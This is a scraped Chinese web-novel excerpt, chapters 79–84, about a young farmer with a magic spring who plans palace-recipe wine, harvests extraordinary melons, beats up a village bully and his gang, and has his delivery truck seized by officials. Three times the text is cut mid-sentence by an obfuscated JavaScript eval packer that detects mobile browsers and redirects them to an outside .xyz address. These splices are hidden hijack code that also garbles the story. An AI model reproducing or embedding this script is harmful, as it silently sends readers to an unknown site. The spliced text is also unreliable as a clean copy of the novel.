胡标几个都是一愣。陈峰疑惑道：“红高粱？倒是有种的，可那玩意儿本地种的都是糙高粱，只能酿酒，人吃的话得买外地的白高粱（糯高粱）才行。你要高粱干啥？” 莫天扬眼中闪过一丝期待：“我在大学时，偶然翻到过一个古药酒的方子。书上说，那是千年前就失传的宫廷御酒！我想……试试看能不能把它酿出来。” “嗨！你文化高，脑子活，肯定行！”胡标一拍大腿，毫不犹豫地说。有蔬菜和豆芽的成功在前，他们对莫天扬有种近乎盲目的信心。 曹勇也想起什么，补充道：“对了天扬！我记得你爷爷年轻时好像自己鼓捣酿过酒，手艺还不赖！你知道方子不？要不，让老爷子指点指点？” 莫天扬眼睛一亮：“爷爷会酿酒？这我倒是没细问过。行！回头我找他唠唠。”他转向大家，定了计划：“这样，大家先帮我张罗五百斤上好的红高粱，我试试水。要是真能酿出点名堂，以后咱们自己就有好酒喝了，省得去买！” “没问题！”众人齐声应道。陈峰又问：“除了高粱，还需要啥家伙事儿不？” 莫天扬想了想：“等我先跟爷爷取取经，摸清门道了，再告诉大家要准备啥。” 第八十章百万网红 莫天扬拿着写有“屠苏酒”配方的纸走进爷爷的房间。 莫啸接过纸张，浑浊的老眼扫过一行行字迹。起初只是随意，但越看，他眼中的浑浊便如潮水般褪去，取而代之的是越来越亮的精光！ 他年轻时自己摸索着酿过酒，虽说是野路子，但也深知其中门道。这“屠苏”的配方，从选粮配药到酿造工序，环环相扣，精妙绝伦，远非他那点土法子可比！ “小子！”莫啸猛地抬起头，目光如电般射向孙子，声音带着前所未有的凝重，“这方子……你从哪儿搞来的？！” “今天去县城淘旧书，在一本破书夹层里翻出来的。”莫天扬解释道，“爷爷，您看这方子……能成吗？” 莫啸深吸一口气，仿佛要将那纸上的智慧吸进肺腑里，他手指无意识地摩挲着纸页边缘：“妙！粮食、药材搭配得天衣无缝，酿法更是闻所未闻的讲究！天扬啊，这……这不是方子，这是棵摇钱树！比金子还贵重！千万！千万收好了，别在外头显摆半句！”他压低了声音，每个字都重若千钧。 “爷爷，我懂。财不露白。”莫天扬郑重点头，“那……要酿这酒，得准备些什么家伙事儿？” 莫啸平复了下激动的心情，皱眉道：“现在那些酒厂，全是机器轰隆响，味儿早不是那个味儿了。你想……怎么弄？” “咱们哪有钱盖厂子啊，”莫天扬笑了笑，带着点朴实的憧憬，“就弄点家什，自己试着酿点，能成的话，以后咱们自己人也能喝上点好酒。” 从爷爷屋里出来，莫天扬将另一张写着所需器具的单子交给曹克雄，让他联系张学涛采购。自己则转身进了菜地。 菜畦间，他一眼就看到了颜若曦。烈日当空，她戴着口罩，专注地盯着手机屏幕，清亮的声音透过麦克风传出来，正热情地向粉丝介绍着翠绿的蔬菜。几天下来，她白皙的皮肤明显晒黑了些许，额角也沁着细密的汗珠，可那份投入的劲头却丝毫未减。 莫天扬没有上前打扰，只是远远地望了一眼。刚想转身去另一片菜地，肩膀就被莫红兵拍了一下。 “嘿嘿，天扬，”莫红兵挤眉弄眼，一脸促狭，“这么心疼女朋友啊？站这儿偷看半天了！” 莫天扬被这直白的话呛了一下，没好气地瞪他一眼：“瞎说什么呢！我就是过来看看菜。这么热的天，人家姑娘还在直播，多不容易。” “啧！你这榆木疙瘩！”莫红兵一副恨铁不成钢的样子，“人姑娘看你的眼神，那能一样吗？咱们都瞧出来了，就你自个儿蒙在鼓里！知道她现在多火不？大主播！百万粉丝！就站在这菜地里，动动嘴皮子，钱就哗哗进账！” “百万粉丝？这么快？”莫天扬确实有些惊讶。 “那可不！”莫红兵兴奋地搓手，“才几天功夫！戴着口罩都挡不住粉丝蹭蹭涨！慧姐跟我们说的，我们都偷偷去她直播间看了，还给她刷过小礼物呢！我们现在都是她的‘铁粉’！天扬，人家这么卖力帮你宣传，你怎么也得去捧个场，当回‘榜一大哥’意思意思吧？” 莫天扬连连摆手：“算了算了，你们年轻人玩的东西，我整不明白。” “唉，真是白瞎了你那好手机！”莫红兵无奈摇头。 莫天扬哈哈一笑，拍了拍脚边蹭着他的小白：“小白，走，咱们干活去！” 走出菜地，他忍不住又回头望了一眼。阳光下，颜若曦的身影在翠绿的菜畦间显得格外有活力。 他不由得摇头失笑，心中感慨万千：谁能想到，短短时日，这个跟着曹慧来的姑娘，竟在这田间地头，摇身一变成了坐拥百万粉丝的网红？ 虽然他对直播行业的具体门道不甚了了，但从莫红兵那羡慕又夸张的语气里，他也明白，这“百万粉丝”背后代表的影响力与收益，恐怕远超他的想象。这份意外的成功，也为青木村带来了更多的关注和可能。 莫天扬在菜地转了一圈，又回到自己闷热的简易房。他再次沉浸在那两张珍贵的古酒配方里——屠苏与凝露。 让他自己都有些惊讶的是，此刻他的头脑异常清明，仿佛那些复杂的工序和微妙的配比，都变得格外清晰易懂。曾经晦涩的古文描述，如今理解起来竟如顺水行舟。不过短短半个小时，两份失传千年的宫廷秘方，已然被他揣摩得烂熟于心。 他小心收好配方，闭上眼，开始在脑海中细细推演整个酿酒过程，从选料、蒸煮、发酵到最后的陈酿，每一个步骤都力求精准……正沉浸在无形的酒香与工艺之中—— “吱呀”一声轻响，房门被推开一条缝。颜若曦探进头来，清脆的声音打破了宁静：“天扬？” 莫天扬猛地回神，这才惊觉窗外已是暮色四合，屋内的光线都暗了下来。 “怎么不开空调呀？”颜若曦走进来，看着莫天扬额头上 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“天扬哥，你订的工作服啊！”小李抹了把汗，“老板下午一收到货，就催着我赶紧给你送来了，生怕耽误你用。” 莫天扬这才恍然，笑着拍了拍小李的肩膀：“哦！是这事儿！我还以为得明天呢，辛苦你跑一趟了！” “老板交代的，必须办妥！衣服都在这儿了，我就不多留了。”小李说着就要上车。 “别急啊，吃了晚饭再走嘛！”莫天扬挽留道。 “真不啦！老板今天出院，说晚上要请我们几个伙计庆祝一下！”小李笑着摆摆手，发动车子离开了。 这边，陈宏利已经拆开了一个箱子，看到里面整整齐齐码放着的崭新劳保服，他下意识地看向莫天扬，眼神带着询问：“天扬，这是……？” “哦，”莫天扬走过去，随手拿起一套抖开看了看，“今天去看涛哥，顺道在早市上买的。这衣服结实耐磨，穿着干活也宽松舒服。等下吃完饭，给大家伙都分下去，干活时候穿。” “天扬，这……我们有工资的，这衣服……”陈宏利有些过意不去。 莫天扬不在意地摆摆手，脸上带着温和的笑意：“嗨，这衣服便宜得很，宏利他们都知道行情。行了，先别管衣服，人是铁饭是钢，吃饭要紧！走，吃饭去！” 第八十一章香瓜熟了 看着最后一个人离开，莫天扬叮嘱大青照看菜地，又去看了看爷爷，这才回到自己房间。他刷拉一声拉上窗帘，仔细锁好门，带着小白进入了灵泉空间。 空间里的空气仿佛被彻底洗涤过，清新、浓郁得不可思议，即便是青木山最幽深的腹地，也远不及此。 眼前的水域已变得无垠浩瀚。曾经那雾蒙蒙的边缘彻底消失不见，目之所及，唯见一片蔚蓝如海的辽阔水面。平静的水面不时翻涌起浪花，每一朵浪尖上都清晰可见跃动的大鱼身影。 水域的剧变让莫天扬亲手搭建的种植平台显得尤为渺小。然而，平台上那些蔬菜却呈现出惊人的生机，每一种都像是被无形的手猛地拔高了一大截，郁郁葱葱。 最让他震撼的，是金银枣再次挂满了金灿灿的果实，酸溜溜的枝头也重新缀满了火红的小果！一次空间巨变，竟能让它们再次开花、结果，甚至直接成熟！ 他快步走向那截枯树根所在的方向。走近一看，不由得愣住了。那截原本焦黑的树根浸泡在灵泉水中，焦黑的外皮已然褪去，呈现出深沉的紫褐色。更令人惊奇的是，顶端竟抽出了一条胳膊粗细、生机勃勃的枝条！ 莫天扬皱紧眉头，仔细打量：枝条呈紫红色，叶片是熟悉的心形……这分明是村里随处可见的杏树模样！ “这……” 一株再普通不过的杏树，竟能引动灵泉空间发生如此天翻地覆的变化？莫天扬彻底懵了。 想不通便暂且放下。他还有要紧事——采摘空间里成熟的西红柿、黄瓜…… 当腰酸背疼再次袭来，莫天扬揉着后腰，走向种植黄芪和老山参的区域。昨天只分栽了老山参，今天得把黄芪也移栽出去。 经过新栽老山参的种植箱时，莫天扬的脚步猛地钉在原地，瞳孔骤然收缩！昨天还只是顶着三朵小花（三花）的小山参，此刻顶端的叶片赫然变成了——七品叶！这至少意味着十年以上的参龄！ “这……怎么可能？！”看着那在水中舒展着白嫩根须、顶戴七品叶的山参，莫天扬脑中一片轰鸣，巨大的冲击让他几乎失语。 良久，他才深吸一口气，勉强压下心头的惊涛骇浪，目光转向不远处的黄芪。那株主根的粗壮程度已接近碗口，依爷爷所授的经验判断，其年份怕是要逼近百年！而周围滋生的小黄芪数量更是激增，足有数百株之多，每一株都有拇指般粗细，生机盎然。 数量太多，莫天扬索性将黄芪简单分株。但他并未立刻离开空间——还有一件要紧事：清点药草，看看有多少能用于酿造屠苏和凝露。 尽管进山不过短短一天，收获的药草种类却相当可观。更令他激动的是，每一株药草的年份都发生了惊人蜕变！其中几株甚至跨越了五十年份的门槛，枝叶虬结盘绕，散发着澎湃的生机。 然而，当他带着一身疲惫回到房间，揉着酸痛的腰背梳理完全部药草时，脸上只剩苦笑。能用得上的，满打满算才十二种。距离屠苏和凝露所需的七十二种，足足差了整整六十种！更棘手的是，其中三十多种，他连名字都闻所未闻。 将所需药草名录仔细誊写下来，莫天扬这才倒头睡下。 闹钟再次响起。洗漱出门，他照例进入菜地，将空间备好的蔬菜悄然替换进去。直起身，深吸一口清晨的空气。 忽然，他鼻翼微动，眼神骤然一凝，下意识转向某个方位——一丝清甜的瓜香，正乘着晨风飘来！ “香瓜！”莫天扬心头一跳，这才猛地想起。那几十亩地，除了蔬菜粮食，自己还种了好几亩香瓜和西瓜呢！连日来忙着西红柿黄瓜，竟把它们忘得一干二净！此刻被这缕甜香勾动，记忆瞬间鲜活起来。 他快步穿过郁郁葱葱的菜地，一片谷子地豁然眼前。谷子刚抽穗，茎秆却已窜到一人多高。莫天扬近一米八的个头站在田埂边，谷穗几乎能扫到他的肩膀。 沿着谷子地旁狭窄的垄沟前行，眼前豁然开朗——四五亩瓜地静静铺展。另一侧是茂密的黍子，虽不及谷子挺拔，也有一米三四，形成一道天然的青纱帐，将整片瓜地温柔地环抱其中。这正是曹勇他们的主意：用庄稼作屏障，阻挡野兽侵扰瓜田。 站在瓜地边，莫天扬眼中难掩惊讶。儿时爷爷也在这片沙地种过瓜，他常在瓜棚玩耍。可眼前景象，远超他的记忆！ 目光所及，田垄间密密麻麻卧满了十几斤重的西瓜，碧绿滚圆的瓜皮上，颗颗露珠晶莹闪烁。莫天扬记得爷爷说过：清晨瓜上露水未干的，多是生瓜。他按捺住摘瓜的冲动，沿着瓜地与谷子地的交界垄沟，朝着香瓜田的方向走去。 香瓜田的景象更为震撼！藤蔓几乎被累累果实淹没，大大小小的香瓜疙疙瘩瘩缀满田间，叶片反倒成了点缀。浓郁的、甜丝丝的瓜香弥漫在空气里，勾得人馋虫大动，莫天扬瞬间精神百倍。 他踏入瓜田，目光扫视，很快锁定一个半斤大小、皮色莹白的香瓜。弯腰摘下，双手轻轻一掰—— “嚓！” 浓郁的、近乎蜜糖般的甜香瞬间爆开！瓜瓤是熟透的橙红色，瓜肉也透着诱人的暖色，只有薄薄一层外皮保持着素白。一口咬下，莫天扬忍不住长长吁了口气。 脆！嫩！清甜！冰凉的汁液裹着甘甜直冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033573|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肺腑，一股沁人心脾的凉意仿佛溪流，瞬间在四肢百骸间游走。酷暑当头咬下冰镇西瓜般的极致舒爽，也不过如此！ “爽！”一个字从喉间迸出。几大口下去，半个香瓜只剩一个小小的瓜蒂，连那甜糯的瓜瓤都被他吃了个干净。 深吸一口气，望着眼前将近两亩香瓜地，莫天扬心头第一次涌起强烈的懊悔！这香瓜的滋味，是他生平吃过最好的！要是当初多种上十亩……单凭这香瓜，就能带来难以想象的收益！ 他从小跟着爷爷侍弄瓜田，一眼就能辨出香瓜的熟度。此刻，他干脆留在瓜地里，专注地搜寻成熟的果实。 “嗡嗡嗡……” 口袋里的手机震动起来。莫天扬掏出一看，接通电话。 “天扬，你跑哪了？”陈宏利的大嗓门立刻从听筒里冲出来。 莫天扬哈哈一笑：“宏利，快来瓜地！香瓜熟透了！” 几分钟后，陈锋父子、曹慧、颜若曦、曹勇等人呼啦啦涌到了瓜地。当他们踏进香瓜田，全都惊愕地摇着头——两天前还青涩的瓜田，此刻竟已硕果累累，瓜香扑鼻！ “尝尝！味道绝了！”莫天扬招呼道。 相处日久，大家早已熟悉莫天扬的爽快，也不客气，各自拿起他摘下的熟瓜，“咔嚓”掰开…… 刹那间，浓郁的、甜得醉人的瓜香在空气中轰然炸开！ “咔嚓、咔嚓……” 清脆的咀嚼声此起彼伏。别说陈宏利这些汉子，就连曹慧、颜若曦，甚至跟着妈妈来的小雅婷，都抱着一个半斤多的大香瓜，吃得汁水淋漓，停不下口。 一个瓜下肚，众人不约而同地长舒一口气，眼中尽是意犹未尽的光彩。不过都懂得克制——这香瓜自带冰镇般的沁凉甘甜，滋味虽美，贪多却伤身。 “天扬，真没想到啊，咱们这水浇地里，竟能长出这么好吃的香瓜！”陈宏利抹着嘴，满脸不可思议。 莫天扬自然不会提灵泉水的秘密，只是笑道：“咱们这儿昼夜温差虽比不了西域，但也够大！水土好，瓜自然甜。大家多摘点，给村里人都尝尝鲜，剩下的，全部装车送县城！” “哎！早知道这么神，真该种它个几十亩！这瓜拿出去，怕是要抢破头！”曹勇拍着大腿，后悔不迭。 莫天扬又是一笑：“对了，记得多留些，等会儿让来帮忙的人也尝尝。” “天扬，这瓜刚熟，能摘多少啊？”有人看着满地的瓜，疑惑地问。 莫天扬朝旁边一指——那里，刚摘下的香瓜已经堆得像座小山丘。“这才摘了二分地，多着呢！你们先准备，我接着摘，待会儿一起搬！” 第八十二章狮子大开口 “天扬，还有件事。”标叔叫住了正要弯腰摘瓜的莫天扬。 莫天扬直起身：“标叔，啥事？是工作服不够了？” “还有剩的。前几天跟你提过，村里有些在外打工的想回来，这两天陆续回来了十多个。你看……” “都是一个村的，想来就让他们来吧。这事您几位看着安排就行。”莫天扬爽快应下，随即话锋一转，“不过……” “放心！”标叔立刻接话，“规矩我们都跟他们讲清楚了。” “那就好。让回来的乡亲们跟着您们这些有经验的，多指点指点。” 莫天扬说完，转向陈宏利，从口袋里掏出昨夜写好的药草清单递过去：“宏利，这个等下交给涛哥。让他务必照单子准备，别怕花钱，要最好的，最好是纯野生的！” 上午九点多，莫天扬直起酸痛的腰，看着身后堆积如小山的香瓜，眼中难掩激动。刚走出瓜地，就看见三个熟悉又有些陌生的身影杵在田埂边——是武银城夫妇和王玉虎。 “银城哥，嫂子，二虎哥，回来了啊。”莫天扬打了声招呼。 三人脸上瞬间掠过一丝尴尬。都是一个村的，可当年莫天扬爷孙俩艰难时，他们没少冷眼旁观。 如今听说莫天扬在村里搞得红火，给老人的工钱都赶上他们在外省吃俭用攒下的，这才厚着脸皮托人递话想回来。本以为会被拒绝，没想到莫天扬只淡淡说了句：“都回来吧，至少村里没人欺负。” “天扬，我们……”武银城搓着手，欲言又止。 莫天扬心里明镜似的，摆摆手打断：“回来就好。挣多挣少，起码守着家。缺什么就跟标叔他们说。”他顿了顿，直接问：“银城哥，你和嫂子在外头，一个月刨去吃用，能落多少？” 武银城夫妇对视一眼，低声道：“省着点……能剩个六千多，七千来块吧。” “二虎哥呢？” “差不多。”王玉虎点头。 “那就安心干，亏待不了你们。”莫天扬语气平和，眼神却认真起来，“都是一个村的，丑话说前头：我这儿要的是肯下力气、踏实干的。偷奸耍滑……” “懂！我们都懂！”武银城和王玉虎连忙保证，脸上满是感激，“你能让我们回来，就是恩情了！你尽管看着！” “行。”莫天扬点点头，正要离开，王玉虎又凑近一步，压低声音：“天扬，胡亮也回来了！刚才我们过来，瞧见几个邻村的混混往他家钻。昨儿他在小卖部喝酒放话，非进你这儿不可，听说那几个小子还给他塞了东西……你可得留点神。” 莫天扬眉头顿时拧紧。胡亮是标叔的亲侄儿，跟他堂弟胡振南截然不同，从小就好吃懒做，专跟些不三不四的人厮混，三十好几还打光棍。前两年说是出去打工，实际是混日子，年底还得跟家里伸手要钱。 “不是说他在外头混得挺好？” 王玉虎嗤笑一声：“他那张嘴，鬼才信！八成是听说你这儿工钱高，眼红了才跑回来。那些邻村的小子也不是啥好鸟，你千万当心。” “知道了。干累了就歇会儿，自家地里的东西，想吃就摘，甭客气。”莫天扬叮嘱一句，转身朝菜地外走去。 刚踏出田埂，口袋里的手机急促地震动起来。掏出一看，是凌飞的号码。自从陈宏利他们回来，凌飞送货一直挺顺，这会儿突然来电…… “凌哥，怎么了？” 电话那头凌飞的声音又急又恼：“天扬！我车让执法队扣了！非说我车不合格，怎么求都没用，张嘴就要罚五千！菜还在车上呢！你看……能不能让涛哥赶紧找找关系？” 莫天扬心头一沉：“行，凌哥你别慌，稳住他们，我马上联系涛哥！”挂了电话，他立刻拨给张学涛。凌飞这车刚买一个月，手续齐全，每天装菜严格控制重量，从没出过岔子，今天这事透着邪门…… 张学涛的电话很快回了过来：“天扬，别急，我已经派车去接菜了。” “涛哥，凌飞的车怎么回事？我们装车都有数，不可能超载！” “唉，”张学涛叹了口气，“上面突然有任务，咬定超重了……我托的朋友已经过去了，应该能解决。不过……”他话锋一转，带着点疑惑，“你要那些药材……该不会是想自己酿酒吧？自己酿点纯粮酒倒是不错，可想酿出口感好的，那可太难了，尤其你……” “就试试手，”莫天扬含糊道，“我爷爷……以前弄过这个。” “行，那我就等你的好消息。要是口感真行，我专门给你开个摊位！”莫天扬挂了电话，朝简易房走去。炖肉前得收拾一下。 刚洗完脸换了身衣服，院子里突然传来大青低沉而充满警告意味的咆哮。莫天扬眉头一拧——这声音不对！ 推门而出，眼前景象让他眼神骤冷！真是怕什么来什么，刚才王玉虎的话音还没落呢。 不远处，七八个流里流气的家伙正旁若无人地大啃香瓜，瓜汁流得满手都是。 领头那个三十多岁，穿着扎眼的花格子衬衫，顶着一头刺眼的红毛，叉腰站在那里，格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033574|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外嚣张——正是胡亮！胡标和曹勇正挡在他们面前，脸色铁青，极力劝阻着什么。身后的胡振南和曹克雄更是拳头紧握，怒目而视。 莫天扬深吸一口气，压下心头火，大步走过去。胡标一眼看到他，急得连连摇头使眼色，示意他别靠近。 胡亮一伙也不是瞎子，见莫天扬过来，胡亮狠狠剜了胡标一眼：“老东西，看在你是我叔份上，不然今天非抽你不可！” “胡亮！**再说一遍！”父亲受辱，胡振南瞬间炸了。 “哟呵？”胡亮带来的几个小青年立刻围了上去，撸胳膊挽袖子，眼神挑衅地瞪着胡标父子，气氛瞬间剑拔**张。 胡亮指着胡振南的鼻子：“小子，等着，回头再收拾你！”说完，他变脸似的堆起假笑，快步迎向莫天扬：“天扬！你不是说了嘛，在外打工的都能回来！瞧，我带了几个好兄弟来给你帮忙！” 莫天扬目光扫过那几个吊儿郎当的外村青年，眉头皱得更紧：“亮哥，你来，咱们可以商量。但你这几位朋友……不行。咱们村回来的人还安排不过来呢。” 胡亮脸色一沉，脖子一梗：“天扬，我胡亮在十里八乡也算个人物！给谁打工不是打？他们都是我兄弟，我说了算！今天就能上工！听说你给陈宏利开六千？我也不多要，我六千，他们一人五千！” 这话一出，不仅胡标、曹勇气得发抖，连围拢过来的村民都发出一片哗然和哄笑——这人简直狂妄至极！自己硬塞进来不算，还要带外村混混，开口就是五六千，沛川城里都没几个厂子敢这么开！ “亮子！”胡标忍无可忍，“大伙儿都知道，天扬这儿眼下只收本村人！” 胡亮猛地转身，指着胡标的鼻子破口大骂：“老东西！给老子闭嘴！再他妈多嘴，信不信老子现在就抽你？！” 如果说刚才骂胡振南是堂兄弟间的冲突，莫天扬还能忍，此刻胡亮竟当众辱骂自己的亲叔叔，还自称“老子”，这彻底践踏了莫天扬心中对长辈的敬重！更何况胡标是在帮他说话！ “啪——！” 一声清脆响亮的耳光骤然炸开！ 胡亮被打得一个趔趄，眼冒金星，被身后手忙脚乱的小弟扶住时，半边脸已经肉眼可见地肿了起来。 莫天扬收回手，眼神冰冷如刀，声音不高却带着不容置疑的威严：“没大没小！标叔是你亲叔！连长辈都不懂得尊重，还想来我这拿六千？你给我六万我都嫌脏了我的地方！带着你的人，给我滚！马上滚！” 第八十三章不惯着 胡亮之前可是在狐朋**面前夸下海口，拍着胸脯保证能带他们混进莫天扬这里，轻轻松松拿高工资。 结果呢？连莫天扬正脸都没看清几句，众目睽睽之下，就结结实实挨了一记响亮的耳光！这对一向欺软怕硬的胡亮来说，简直是奇耻大辱！ 他印象里的莫天扬，就是个老实巴交、走路都怕踩死蚂蚁的怂包，见了他都得绕道走。现在居然敢当着几百号人的面抽他？！ “给我废了他！！”胡亮捂着脸，气得浑身发抖，指着莫天扬歇斯底里地咆哮。 那几个跟着他来的小混混，嗷嗷叫着就扑了上来：“小崽子，敢动亮哥，活腻歪了！” 莫天扬眼神一冷，嘴角勾起一丝冷笑。经历过二狗、黑虎那帮亡命徒，他太清楚自己身体的变化，更明白对这种欺软怕硬的货色，退一步就是万丈深渊！ 他不退反进！身影快如鬼魅，没等混混们的拳头落下，只听“噼啪”几声脆响——莫天扬左右开弓，拳脚带风，动作干脆利落，三下五除二，那几个叫嚣的小混混已经横七竖八地躺在地上，哼哼唧唧爬不起来了！ 这一幕，让整个菜地瞬间死寂！ 围观的人群张大了嘴巴，眼珠子都快瞪出来了。就连胡振南、曹克雄这些从小和莫天扬一起滚泥巴长大的兄弟，也彻底傻了眼！他们太了解莫天扬了，那是个蚂蚁都舍不得踩的老实人，遇事能忍则忍。可现在……他不但没躲，反而主动迎上去，三拳两脚就放翻了七八个混混？！这简直像换了个人！ 胡亮看着地上呻吟的小弟，彻底懵了，嘴巴张得能塞进个鸡蛋。这……这还是那个懦弱的莫天扬？他不仅敢动手，还一个人干翻了一群？！ “莫天扬！你……你找死！”胡亮色厉内荏地吼道，脚下却不由自主地后退。 莫天扬踏前一步，眼神锐利如刀，声音冰冷：“带着这群垃圾，马上滚！再让我听见你敢骂标叔他们一个字……”他顿了顿，语气森然，“你就提前给自己选好坟地！” 胡亮被那眼神盯得脊背发凉，满腔怨毒却不敢上前半步。他本就是条欺软怕硬的癞皮狗，莫天扬能轻松收拾他们一群人，他哪还有胆子上？ “好！好！小子，你给我等着！这事没完！老子让你后悔生出来！”胡亮撂下狠话，扶起地上的小弟，在一众鄙夷的目光中，灰溜溜地逃了。 看着他们狼狈的背影，围观的人哄笑几声，渐渐散去。胡标、曹勇几人的脸色却异常凝重。他们太了解胡亮的德性了。 “天扬啊，”胡标忧心忡忡，“胡亮那混账从小被惯坏了，一点亏都不肯吃。你今天当众打了他，他……他肯定不会善罢甘休的。” 莫天扬望着胡亮消失的方向，叹了口气：“标叔，他就是从小被纵容坏了，才变成今天这样。现在还没铸成大错，要是再不管，由着他胡来，将来非捅出天大的篓子不可。他要在村里使坏，我不怕。” 胡标心头猛地一震，他听懂了莫天扬话里的深意和担当。若非看在他这个亲叔叔的份上，莫天扬根本不会费这个心思。 “唉……回头我去找我哥说说，老两口因为这孽障，在村里都快抬不起头了……”胡标的声音满是苦涩。 莫天扬摇摇头，语气带着无奈：“让他们别去说胡亮了。现在说什么他都听不进去，逼急了，老两口怕是还要挨他的打骂。” 这时，几个看热闹的有人凑了过来，脸上堆着笑，眼神热切：“老板，你这香瓜……也太香太好吃了吧！能不能……卖我们点儿带回家？” 莫天扬看向他们，每个人眼里都写满了期待。他苦笑了一下：“大伙儿也看到了，我就种了一亩多，原本是自家吃的。卖是能卖，但真不多，只能让大家带点回去尝尝鲜。” “行行行！多少钱一斤？”大家忙不迭地问。 “你们刚才都尝了，觉得值多少？”莫天扬把问题抛了回去。 “这几天市场上的香瓜都卖八块多！你这瓜比那好吃十倍不止，我看最低也得十五块！”有人喊道。 “那就十二块吧，给大家伙省点油钱，”莫天扬爽快地定了价，“东西不多，每人限六个，带回去让家里人也尝尝！” 众人正惊讶于莫天扬不涨反降的决定（别人都喊十五，他却定了十二），胡标和曹勇几人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038236|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住凑近，压低声音确认：“天扬，真就十二了？” “嗯，”莫天扬点头，“瓜不多，就图个大家尝个新鲜。”说完，他转身去准备炖肉。 胡标、曹勇他们张罗着卖瓜去了。谁也没留意到，简易房旁，莫啸老爷子坐在椅子上，目光深邃地追随着孙子的背影，嘴角噙着一丝不易察觉的笑意，眼底是毫不掩饰的赞许——这孩子，懂得取舍，也明白人心。 肉刚炖上锅，张学涛的电话就追了过来，声音带着明显的焦灼和困惑：“天扬！今天扣车这事，邪门了！搁以前，我托人递几盒烟，事情也就平了。可今天，我找了好几个熟人，全都不顶用！有几个一听是扣了咱运菜的车，二话不说就把电话撂了！” 莫天扬眉头紧锁，心头警铃大作，一个名字瞬间闪过脑海。他沉声问：“执法队那边咬**什么理由？” “就硬说超载！咬死要罚五千，交钱才放车！”张学涛的语气满是憋屈。 莫天扬深吸一口气，压下翻腾的怒意，果断下令：“交钱！把罚款收据给我收好了，一张纸都不能少！” “天扬，这不明摆着敲竹杠吗？咱不能……” “放心，”莫天扬声音冷了下来，“这钱，他们拿不稳当！你明天安排可靠的车过来接货。” “行！车没问题！对了，凌飞说车上还有香瓜？味道咋样？” “精品。我这卖十二一斤。” “十二？那我等下可得好好尝尝！还有，你要的那些药材，我已经托最有门路的朋友去打听了，三两天准有信儿。酿酒用的家伙什儿本地不好找，我让王传林他们想办法去外地淘换。” 挂了电话，莫天扬站在原地，胸中一股冰冷的怒意翻涌。运输一直顺风顺水，偏偏今天就被“超载”了？连过磅称重的程序都省了？张学涛托的人脉瞬间失灵？这一连串的异常，像一根根指向明确的箭头！ 能调动执法队如此精准刁难，且让张学涛都碰壁的——只有一个人：安云飞！ “不知悔改……”莫天扬眼神锐利如冰，周身仿佛散发着寒气，“我倒要看看，下一次，还有谁能替你挡灾！” 第八十四章我给你打工吧 吃过午饭，莫天扬来到老院。老房子的土坯墙渣土已被清运干净，挖掘机轰鸣着，在老屋子的地基上，已经挖了一条三米左右的深坑。 “天扬，这地基……挖得也太深了吧？”送水过来的陈峰指着深坑，一脸不解。 “峰叔，”莫天扬解释道，“摊子铺开了，工具杂物总得有个地方归置。我打算在院子底下弄个仓库出来。” “那得花不少钱吧？”陈峰咋舌。 “那天来的朋友帮忙，”莫天扬笑了笑，“钱先借着，慢慢从货款里扣。既然要弄，就一次到位，省得以后麻烦。” “也是，”陈峰点头，由衷感慨，“你那帮朋友真够意思，每次来都不空手，这么阔气又仗义的朋友，如今可不多见了。”他左右看看，压低声音：“吃饭时人多，我没敢提……凌飞的车……” “涛哥那边在处理了，交了罚款就能提车。”莫天扬语气平静。 …… 一下午风平浪静，张学涛没来电话。莫天扬也没多想，直到晚饭时分，手机响了。 “涛哥，怎么样？”莫天扬接起。 “天扬，车是开出来了，可是……”张学涛的声音压抑着怒火。 莫天扬心头一紧：“出什么事了？” “那群王八蛋！”张学涛的怒骂几乎冲口而出，“他们撬开了货柜！里面的蔬菜、香瓜……被糟蹋了大半！凌飞气不过去找他们理论，反被他们推搡打了一顿！我已经报警，警察介入了！” 一股冰冷的怒意瞬间窜上莫天扬的脊背！借口超载扣车，已是欲加之罪。现在竟敢强行撬开货柜，肆意毁坏货物？！这是赤裸裸的犯罪！执法者知法犯法，简直是莫大的耻辱！ “警方怎么说？”莫天扬声音冷得掉冰渣。 “含糊其辞，就说会调查，如果真是他们的人干的，会处理。”张学涛语气充满不信任。 “录像拍了没有？” “我让跟着去的小李暗中拍了，很清晰。要不要现在就交上去？” “沉住气，”莫天扬眼神锐利，“先看看他们怎么‘处理’！” 回到餐厅，陈宏利几人敏锐地察觉到他脸色不对：“天扬，咋了？” 莫天扬摆摆手：“没事。对了，高粱的事……” “问了几家，回头咱们抽空去实地看看。”陈宏利答道。 “标叔，”莫天扬转向胡标，“高粱品质一定要好，贵点没关系，关键要顶好的料！” …… 